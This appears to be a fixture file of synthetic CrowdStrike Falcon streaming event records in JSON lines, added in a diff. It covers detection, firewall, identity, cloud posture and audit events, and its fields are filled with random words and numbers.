+{"metadata": {"customerIDString": "whosecoldness","offset": 1081896456,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "shybatch","IncidentDescription": "loneliness marriage trip stupidity class party flock loneliness lots ofadvice","Severity": 92,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "severalclass","UserName": "whosecovey","EndpointName": "theirfilm","EndpointIp": "158.195.125.230","Category": "Incidents","NumbersOfAlerts": 585727349,"NumberOfCompromisedEntities": 1623353958,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thatcluster?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Kazakhriver","offset": 334368122,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "famousdetermination","IncidentDescription": "heavyflock","Severity": 40,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "herfruit","UserName": "onemuster","EndpointName": "Torontonianbrilliance","EndpointIp": "189.200.117.145","Category": "Incidents","NumbersOfAlerts": -437866633,"NumberOfCompromisedEntities": 742066646,"State": "DISMISS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Greekwisp?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "anyoneline","offset": -72770039,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "eachcarpet","UserIp": "138.18.252.207","OperationName": "selfAcceptEula","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "everyonehost","ValueString": "hisgold"}],"Attributes": {"actor_cid": "Sri-Lankanmilk","actor_user": "thisgrandmother","actor_user_uuid": "oddbrace","app_id": "Gaussianarmy","saml_assertion": "whosefailure","target_user": "thereturkey","trace_id": "someonedivorce"}}}
+{"metadata": {"customerIDString": "emptylove","offset": 894515716,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "singlereel","Region": "us-west-1","ResourceId": "whichproblem","ResourceIdType": "Confuciantrain station","ResourceName": "helpfulgroup","ResourceCreateTime": 0,"PolicyStatement": "howteam","PolicyId": -509093213,"Severity": 63,"SeverityName": "Medium","CloudPlatform": "Madagascanpoint","CloudService": "Taiwanesehand","Disposition": "Failed","ResourceUrl": "whyyear","Finding": "whereoil","Tags": [{"Key": "whatchild","ValueString": "tiredpair"}],"ReportUrl": "grievingtree","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "thesepatrol","offset": 1360207044,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "plaingroup","CustomerId": "somebodygroup","Ipv": "66.20.151.157","CommandLine": "herebowl","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "alltrip","ICMPCode": "sufficientharvest","ICMPType": "Americancollege","ImageFileName": "importantcontent","LocalAddress": "229.210.85.178","LocalPort": "52332","MatchCount": 1393134792,"MatchCountSinceLastReport": 101557834,"NetworkProfile": "howgang","PID": "1288272938","PolicyName": "manygeneration","PolicyID": "howambulance","Protocol": "herream","RemoteAddress": "205.157.7.87","RemotePort": "65126","RuleAction": "itchildhood","RuleDescription": "cave reel film whichset","RuleFamilyID": "whysunglasses","RuleGroupName": "somesalt","RuleName": "Shakespeareanworld","RuleId": "mystack","Status": "someyear","Timestamp": 1751371830,"TreeID": "itsshoulder"}}
+{"metadata": {"customerIDString": "thatsteak","offset": -1255646667,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "dangerousreligion","DetectName": "ourchest","DetectDescription": "currency work bevy knowledge choir howtrade","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/obnoxioussister?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 11,"SeverityName": "Low","Tactic": "myclump","Technique": "Thaibrace","Objective": "thatwealth","SourceAccountDomain": "anyphilosophy","SourceAccountName": "a littleguitar","SourceAccountObjectSid": "wherequantity","SourceEndpointAccountObjectGuid": "thosebody","SourceEndpointAccountObjectSid": "hisfuel","SourceEndpointHostName": "herresearch","SourceEndpointIpAddress": "184.204.146.196","SourceEndpointSensorId": "whichmob","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "mypack","PatternId": 1700953340}}
+{"metadata": {"customerIDString": "whychoir","offset": -1547696080,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "thosedisregard","Highlights": ["inquiringshower"],"MatchedTimestamp": 1686889114000,"RuleId": "everyonepod","RuleName": "Canadianclass","RuleTopic": "thereclass","RulePriority": "Congolesegovernment","ItemId": "Peruvianjoy","ItemType": "BREACH_6G","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "realisticbitterness","offset": -495225738,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "therejuice","MobileDetectionId": -1541162559,"ComputerName": "wheretoothbrush","UserName": "Thaitroupe","ContextTimeStamp": 1649061056,"DetectId": "plenty ofstand","DetectName": "anythingcaravan","DetectDescription": "page welfare clump heap heat pair nest troop part hair sheaf product company way number person string wood team jersey child eye freezer someonefreedom","Tactic": "heregalaxy","TacticId": "fewpaper","Technique": "somesister","TechniqueId": "thosegang","Objective": "herrespect","Severity": 7,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/vastmurder?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "itparty","AndroidAppLabel": "Elizabethanmob","DexFileHashes": "hismall","ImageFileName": "Antarcticold age","AppInstallerInformation": "lots ofaccount","IsBeingDebugged": false,"AndroidAppVersionName": "whatsheaf","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "heretown","offset": -384081936,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "splendidbunch","UserIp": "27.238.143.166","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whatdeskpath","ValueString": "whichannoyance"}],"Attributes": {"actor_cid": "theirhealth","actor_user": "anythingdynasty","actor_user_uuid": "variedmob","app_id": "anyonelife","saml_assertion": "whosecackle","target_user": "howkoala","trace_id": "whichbale"}}}
+{"metadata": {"customerIDString": "manyoutfit","offset": 1905963089,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "eachpeace","DataDomains": "Email","Description": "desk care hisbale","DetectId": "somemob","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "48.70.160.5","HostNames": "whosemouth","Name": "thesehoses","PatternId": 591567142,"Severity": 2,"SourceProducts": "eachteam","SourceVendors": "mychild","StartTimeEpoch": 1643317697728000000,"TacticIds": "theirpencil","Tactics": "over therecrew","TechniqueIds": "nobodyrange","Techniques": "allbevy","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "theseapartment","offset": 176461631,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "shycrew","UserIp": "53.0.135.20","OperationName": "updateUser","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "enough ofcrime","ValueString": "over thereluxury"}],"Attributes": {"actor_cid": "everybodytime","actor_user": "thishammer","actor_user_uuid": "greattea","app_id": "aliveexaltation","saml_assertion": "thishorror","target_user": "Sri-Lankanwisp","trace_id": "purpleman"}}}
+{"metadata": {"customerIDString": "whyold age","offset": 316864808,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "numerousdishonesty","HostnameField": "over thereright","UserName": "yourstairs","StartTimestamp": 1582830734,"AgentIdString": "coupleedge"}}
+{"metadata": {"customerIDString": "lovelyscale","offset": -627467081,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "everyonefact","UserIp": "121.60.59.78","OperationName": "revokeUserRoles","ServiceName": "detections","AuditKeyValues": [{"Key": "hundredgroup","ValueString": "theseday"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "grumpyheat"}}}
+{"metadata": {"customerIDString": "couplescold","offset": 543949641,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "joyousriches","DetectName": "frailteam","DetectDescription": "work thing fleet way reel bank electricity bale hospitality thisseafood","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/luckyteam?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 10,"SeverityName": "High","Tactic": "therecrowd","Technique": "fewblender","Objective": "someonepride","SourceAccountDomain": "whichswimming pool","SourceAccountName": "over thereenvy","SourceAccountObjectSid": "greatbread","SourceEndpointAccountObjectGuid": "whereschool","SourceEndpointAccountObjectSid": "cleverpain","SourceEndpointHostName": "creepyhorde","SourceEndpointIpAddress": "136.36.92.210","SourceEndpointSensorId": "nonepacket","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "friendlyheart","PatternId": -443713424}}
+{"metadata": {"customerIDString": "thereappetite","offset": 623154183,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "someonemustering","IncidentDescription": "wisp range muster problem grains beans pleasanttrip","Severity": 78,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "yourproblem","UserName": "hisgroup","EndpointName": "fewfashion","EndpointIp": "172.22.143.10","Category": "Incidents","NumbersOfAlerts": 1390974751,"NumberOfCompromisedEntities": -1069330858,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/crowdedwindow?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "puzzledgossip","offset": -361244643,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1334881571,"ProcessEndTime": 1592090652,"ProcessId": -3691523,"ParentProcessId": -487733610,"ComputerName": "onepod","UserName": "funnybread","DetectName": "tamechapter","DetectDescription": "bill student composer shop cast day physician gang belt deceit apro swimming pool year yourbrace","Severity": 1,"SeverityName": "Critical","FileName": "whydynasty","FilePath": "enviousjoy\\whydynasty","CommandLine": "C:\\Windows\\lightfork","SHA256String": "stormyforest","MD5String": "severalregiment","SHA1String": "anycompany","MachineDomain": "wholecast","NetworkAccesses": [{"AccessType": 1619339910,"AccessTimestamp": 1751371565,"Protocol": "hundredmustering","LocalAddress": "224.47.187.47","LocalPort": 78055,"RemoteAddress": "229.92.156.190","RemotePort": 45009,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itlaughter?_cid=xxxxxxx","SensorId": "everythingcash","IOCType": "registry_key","IOCValue": "blushingjustice","DetectId": "terriblechair","LocalIP": "19.90.220.75","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "mostbaby","Technique": "nonexylophone","Objective": "distincttroop","PatternDispositionDescription": "cast galaxy troupe murder hospital library anyoneinformation","PatternDispositionValue": 650470780,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "everybodydarkness","ParentCommandLine": "severalclarity","GrandparentImageFileName": "thismusic","GrandparentCommandLine": "thatgroup","HostGroups": "whatstand","AssociatedFile": "Turkishishthrill","PatternId": -1395883393}}
+{"metadata": {"customerIDString": "whatcamp","offset": 463109765,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "tastydisregard","CustomerId": "nonefriendship","Ipv": "114.154.92.79","CommandLine": "thesepeace","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": true},"HostName": "Atlanteanscale","ICMPCode": "nonehatred","ICMPType": "thosetrend","ImageFileName": "whichcalm","LocalAddress": "137.152.165.251","LocalPort": "84787","MatchCount": -420311943,"MatchCountSinceLastReport": 1591016967,"NetworkProfile": "Costa Ricanscold","PID": "1684063285","PolicyName": "ourlife","PolicyID": "eachgrammar","Protocol": "Putinistlife","RemoteAddress": "174.197.33.250","RemotePort": "43235","RuleAction": "thosehand","RuleDescription": "group thiscompany","RuleFamilyID": "Caesarianhand","RuleGroupName": "thiscast","RuleName": "yourgroup","RuleId": "howair","Status": "distinctmuster","Timestamp": 1751371830,"TreeID": "enough ofarchipelago"}}
+{"metadata": {"customerIDString": "sparseregiment","offset": 1805307211,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "nobodyknowledge","DataDomains": "Network","Description": "thing packet cravat furniture giraffe hedge horde packet gossip abundantway","DetectId": "wherebridge","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "100.108.176.150","HostNames": "severalappetite","Name": "everybodybus","PatternId": -977701303,"Severity": 12,"SourceProducts": "oneboard","SourceVendors": "helplessgroup","StartTimeEpoch": 1643317697728000000,"TacticIds": "itgroup","Tactics": "Mexicanpoverty","TechniqueIds": "herwork","Techniques": "Burkinesebale","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "tenderworld","offset": -1993693801,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "hertoothbrush","CustomerId": "greatpurse","Ipv": "17.207.201.185","CommandLine": "whyforest","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "Romancalm","ICMPCode": "yourshock","ICMPType": "quizzicalbrass","ImageFileName": "whereclothing","LocalAddress": "69.20.63.89","LocalPort": "40325","MatchCount": -311473488,"MatchCountSinceLastReport": -361100485,"NetworkProfile": "insufficientbrace","PID": "208161615","PolicyName": "Thatcheriteslippers","PolicyID": "whypatrol","Protocol": "mysteriouslove","RemoteAddress": "98.125.133.9","RemotePort": "40806","RuleAction": "yoursand","RuleDescription": "flock time bill goodness chest congregation hat governor travel tribe washing machine elegance luck pain harvest professor minute exaltation myseed","RuleFamilyID": "Pacificguilt","RuleGroupName": "embarrassedvillage","RuleName": "nobodychest","RuleId": "enthusiasticgrandmother","Status": "somebodyapartment","Timestamp": 1751371830,"TreeID": "innocentpride"}}
+{"metadata": {"customerIDString": "Lincolniancloud","offset": 2137637684,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "ourfreedom","IncidentDescription": "electricity party Somaliproduction","Severity": 66,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "youroil","UserName": "anybouquet","EndpointName": "theirlips","EndpointIp": "77.81.24.146","Category": "Incidents","NumbersOfAlerts": -158330689,"NumberOfCompromisedEntities": -1941609754,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/gloriousclump?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "somecoffee","offset": 1026554108,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "thiscandle","UserID": "lots ofnumber","ExecutionID": "whatgovernment","ReportID": "severalshower","ReportName": "shinymob","ReportType": "yourcaravan","ReportFileReference": "everybodybunch","Status": "myhappiness","StatusMessage": "howbowl","ExecutionMetadata": {"ExecutionStart": 2027571411,"ExecutionDuration": 1732978182,"ReportFileName": "theseeye","ResultCount": 1245107465,"ResultID": "howenvy","SearchWindowStart": 1603607858,"SearchWindowEnd": -1760779445}}}
+{"metadata": {"customerIDString": "Bahamianelegance","offset": -2019281872,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howlibrary","PolicyId": -1331161268,"PolicyStatement": "abundantblock","CloudProvider": "foolishpack","CloudService": "eachmango","Severity": 10,"SeverityName": "High","EventAction": "Welshlawn","EventSource": "thatrainbow","EventCreatedTimestamp": 1663011160,"UserId": "whichability","UserName": "whatbale","UserSourceIp": "114.181.169.0","Tactic": "herstupidity","Technique": "myperson"}}
+{"metadata": {"customerIDString": "theirbundle","offset": -94547868,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "whatreel","Highlights": ["itgalaxy"],"MatchedTimestamp": 1686889114000,"RuleId": "itstroop","RuleName": "over thereadvice","RuleTopic": "whererespect","RulePriority": "mytroop","ItemId": "hispunctuation","ItemType": "6G_EXTERNAL","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "nophotographer","offset": 1060218677,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hundredsline","HostnameField": "Cypriotcast","UserName": "everyoneblock","StartTimestamp": 1582830734,"AgentIdString": "Canadianway"}}
+{"metadata": {"customerIDString": "sillyseafood","offset": -1086457365,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "over therecast","PolicyId": 613464372,"PolicyStatement": "theresister","CloudProvider": "severalgame","CloudService": "anythingcase","Severity": 94,"SeverityName": "Low","EventAction": "eachchoir","EventSource": "allmuster","EventCreatedTimestamp": 1663011160,"UserId": "vastbasket","UserName": "whosethought","UserSourceIp": "19.230.199.32","Tactic": "whichchest","Technique": "whyoil"}}
+{"metadata": {"customerIDString": "thisanswer","offset": 143346317,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "herteam","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Beethoveniangrandmother","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "bill computer travel milk day set work hand greatsleep","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyonedolphin?_cid=xxxxxxx","FileName": "Putinistcaptain","FilePath": "eachbody\\Putinistcaptain","FilesAccessed": [{"FileName": "Putinistcaptain","FilePath": "eachbody\\Putinistcaptain","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Putinistcaptain","FilePath": "eachbody\\Putinistcaptain","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\wherebrother","GrandParentImageFileName": "everybodyflock","GrandParentImageFilePath": "littleweek\\everybodyflock","HostGroups": "scarylife","Hostname": "talentedbevy","LocalIP": "236.6.109.9","LocalIPv6": "229.180.81.241","LogonDomain": "nobodyclass","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "whichnest","Name": "herbevy","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -554710589,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "1.139.97.90","LocalPort": 40012,"Protocol": "Ecuadorianmercy","RemoteAddress": "46.183.64.131","RemotePort": 74083}],"Objective": "yourhelp","ParentCommandLine": "C:\\Windows\\whoseimportance\\thatpair","ParentImageFileName": "thatpair","ParentImageFilePath": "distinctmurder\\thatpair","ParentProcessId": -1832873161,"PatternDispositionDescription": "luxury doctor range part shrimp theirsmile","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": true,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 1412194306,"PatternId": 1936471643,"PlatformId": "mucharchipelago","PlatformName": "Mac","ProcessEndTime": 1724538403,"ProcessId": 702683689,"ProcessStartTime": 1164360404,"ReferrerUrl": "theirrain","SHA1String": "quizzicalpatrol","SHA256String": "Asiangroup","Severity": 63,"SeverityName": "Medium","SourceProducts": "Machiavellianyear","SourceVendors": "sorecrowd","Tactic": "over thereleap","Technique": "thatcardigan","Type": "ofp","UserName": "over theredentist"}}
+{"metadata": {"customerIDString": "thismob","offset": -1135591888,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ourthing","Region": "us-east-2","ResourceId": "emptyjoy","ResourceIdType": "enviouspride","ResourceName": "fewfailure","ResourceCreateTime": 0,"PolicyStatement": "Cambodianscold","PolicyId": -1106969094,"Severity": 54,"SeverityName": "Low","CloudPlatform": "bluemuster","CloudService": "heavilytraffic","Disposition": "Failed","ResourceUrl": "Turkishishdesktop","Finding": "lots ofresearch","Tags": [{"Key": "muchthought","ValueString": "oddpleasure"}],"ReportUrl": "enoughtowel","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "emptybevy","offset": 1881687581,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 873150530,"ProcessEndTime": 1068196828,"ProcessId": 428512325,"ParentProcessId": 1512278529,"ComputerName": "itsfrock","UserName": "onesandals","DetectName": "onedeskpath","DetectDescription": "troop chest knowledge exaltation woman oil reel pod water melon world failure ream meeting hail train station waist sedge hatred heavilypunctuation","Severity": 4,"SeverityName": "Low","FileName": "Gabonesecup","FilePath": "wearycleverness\\Gabonesecup","CommandLine": "C:\\Windows\\herepurse","SHA256String": "whichelegance","MD5String": "whycleverness","SHA1String": "wickedgroup","MachineDomain": "hersedge","NetworkAccesses": [{"AccessType": -945094986,"AccessTimestamp": 1751371565,"Protocol": "innocentperson","LocalAddress": "56.10.165.227","LocalPort": 83251,"RemoteAddress": "108.237.216.106","RemotePort": 76169,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/handsomelibrary?_cid=xxxxxxx","SensorId": "blackworld","IOCType": "filename","IOCValue": "thisunion","DetectId": "Californiantribe","LocalIP": "127.230.75.80","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Turkmenintelligence","Technique": "Victoriancash","Objective": "Elizabethandamage","PatternDispositionDescription": "tea childhood sugar flock importance brass bunch clump mustering weather chair danger world confusion bale elegance congregation fear wad body determination time plenty ofshower","PatternDispositionValue": -309856554,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "herflock","ParentCommandLine": "severalmob","GrandparentImageFileName": "Gabonesework","GrandparentCommandLine": "ithappiness","HostGroups": "Bahraineancheese","AssociatedFile": "handsomefork","PatternId": -67810910}}
+{"metadata": {"customerIDString": "a littledress","offset": -1895714009,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Antarcticcase","Region": "us-west-2","ResourceId": "whoseyear","ResourceIdType": "Chinesemilk","ResourceName": "somebodytask","ResourceCreateTime": 0,"PolicyStatement": "hereairport","PolicyId": 535746907,"Severity": 100,"SeverityName": "Low","CloudPlatform": "everybodyhorse","CloudService": "whatstreet","Disposition": "Failed","ResourceUrl": "howline","Finding": "severalbevy","Tags": [{"Key": "whatpharmacist","ValueString": "yourfriendship"}],"ReportUrl": "thissnowman","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "pleasantpack","offset": -242479742,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "halfusage","PolicyId": 1518836599,"PolicyStatement": "wheretroupe","CloudProvider": "hispeace","CloudService": "yournumber","Severity": 99,"SeverityName": "Medium","EventAction": "successfulhand","EventSource": "herelawyer","EventCreatedTimestamp": 1663011160,"UserId": "over therechild","UserName": "anyeye","UserSourceIp": "173.212.243.84","Tactic": "thatsoup","Technique": "heavilyparty"}}
+{"metadata": {"customerIDString": "Costa Ricanbasket","offset": -701009047,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "everythingwork","HostnameField": "stupidtroupe","UserName": "fewluxury","StartTimestamp": 1582830734,"AgentIdString": "everythingcackle"}}
+{"metadata": {"customerIDString": "sufficientcompany","offset": -1724502797,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "theseyear","Highlights": ["Uzbekcackle"],"MatchedTimestamp": 1686889114000,"RuleId": "therecluster","RuleName": "illhorror","RuleTopic": "sufficientman","RulePriority": "so fewspaghetti","ItemId": "mytribe","ItemType": "6G","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "whosetroupe","offset": -295595764,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "itsstand","IncidentDescription": "sister stupidity trip fiction board exaltation dream pencil man parfume confusion theater flock smile staff caravan team party growth exaltation pod delay Diabolicalloneliness","Severity": 41,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "whatsmile","UserName": "over thereslavery","EndpointName": "manyrestaurant","EndpointIp": "96.60.203.83","Category": "Detections","NumbersOfAlerts": 1646546820,"NumberOfCompromisedEntities": -1689567587,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thisexaltation?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "onelaptop","offset": -173772921,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "gorgeousinnocence","Highlights": ["thatcooker"],"MatchedTimestamp": 1686889114000,"RuleId": "ourpod","RuleName": "thisedge","RuleTopic": "everybodybatch","RulePriority": "moderngovernment","ItemId": "fancypleasure","ItemType": "TYPOSQUATTING","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "Kazakhscold","offset": -24057922,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Confuciantime","State": "closed","FineScore": 2.1490279167369963,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "brownmustering","HostID": "yourbowl","LMHostIDs": ["eachclarity"],"UserId": "Cambodianbear"}}
+{"metadata": {"customerIDString": "yournest","offset": -1196410688,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Swissclass","DetectName": "ourweather","DetectDescription": "solitude troop cackle litter disregard potato staff genetics anyonecrowd","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ourmob?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 12,"SeverityName": "Informational","Tactic": "whatclass","Technique": "dangerousregiment","Objective": "eachbale","SourceAccountDomain": "Chineseweather","SourceAccountName": "enough ofexaltation","SourceAccountObjectSid": "yourcalm","SourceEndpointAccountObjectGuid": "everybodyman","SourceEndpointAccountObjectSid": "Asiancaravan","SourceEndpointHostName": "whoseposse","SourceEndpointIpAddress": "28.46.62.31","SourceEndpointSensorId": "hereleisure","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "thesemonkey","PatternId": -1330504039}}
